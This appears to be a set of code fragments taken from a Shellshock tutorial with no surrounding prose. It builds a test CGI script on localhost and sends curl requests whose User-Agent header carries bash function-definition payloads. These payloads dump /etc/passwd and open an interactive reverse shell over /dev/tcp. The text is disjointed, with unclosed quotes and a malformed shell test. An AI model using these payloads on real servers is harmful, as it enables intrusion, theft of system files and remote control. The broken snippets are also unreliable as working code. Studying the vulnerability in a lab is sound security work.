curl
/usr/lib/cgi-bin/test.cgi
curl http://localhost/cgi-bin/test.cgi
printenv
HTTP_USER_AGENT
is set as an environment variable.
echo ${HTTP_USER_AGENT} echo if [ ${HTTP_USER_AGENT}=="curl/7.47.0" ]; then echo "Hello Curl User" else echo "Be cool, use curl" fi
-A agent_string
curl -v -A "Not Curl" http://localhost/cgi-bin/test.cgi
curl -v http://localhost/cgi-bin/test.cgi -A "() { echo hello;}; /bin/cat /etc/passwd
echo Content-type: text/plain echo echo # bash code goes here
curl -v http://localhost/cgi-bin/test.cgi -A "() { echo hello;}; echo Content-type: plain/text; echo; echo; /bin/cat /etc/passwd
curl -v http://localhost/cgi-bin/test.cgi -A "() { echo hello;}; /bin/bash -i > /dev/tcp/localhost/9090 0<&1 2>&1"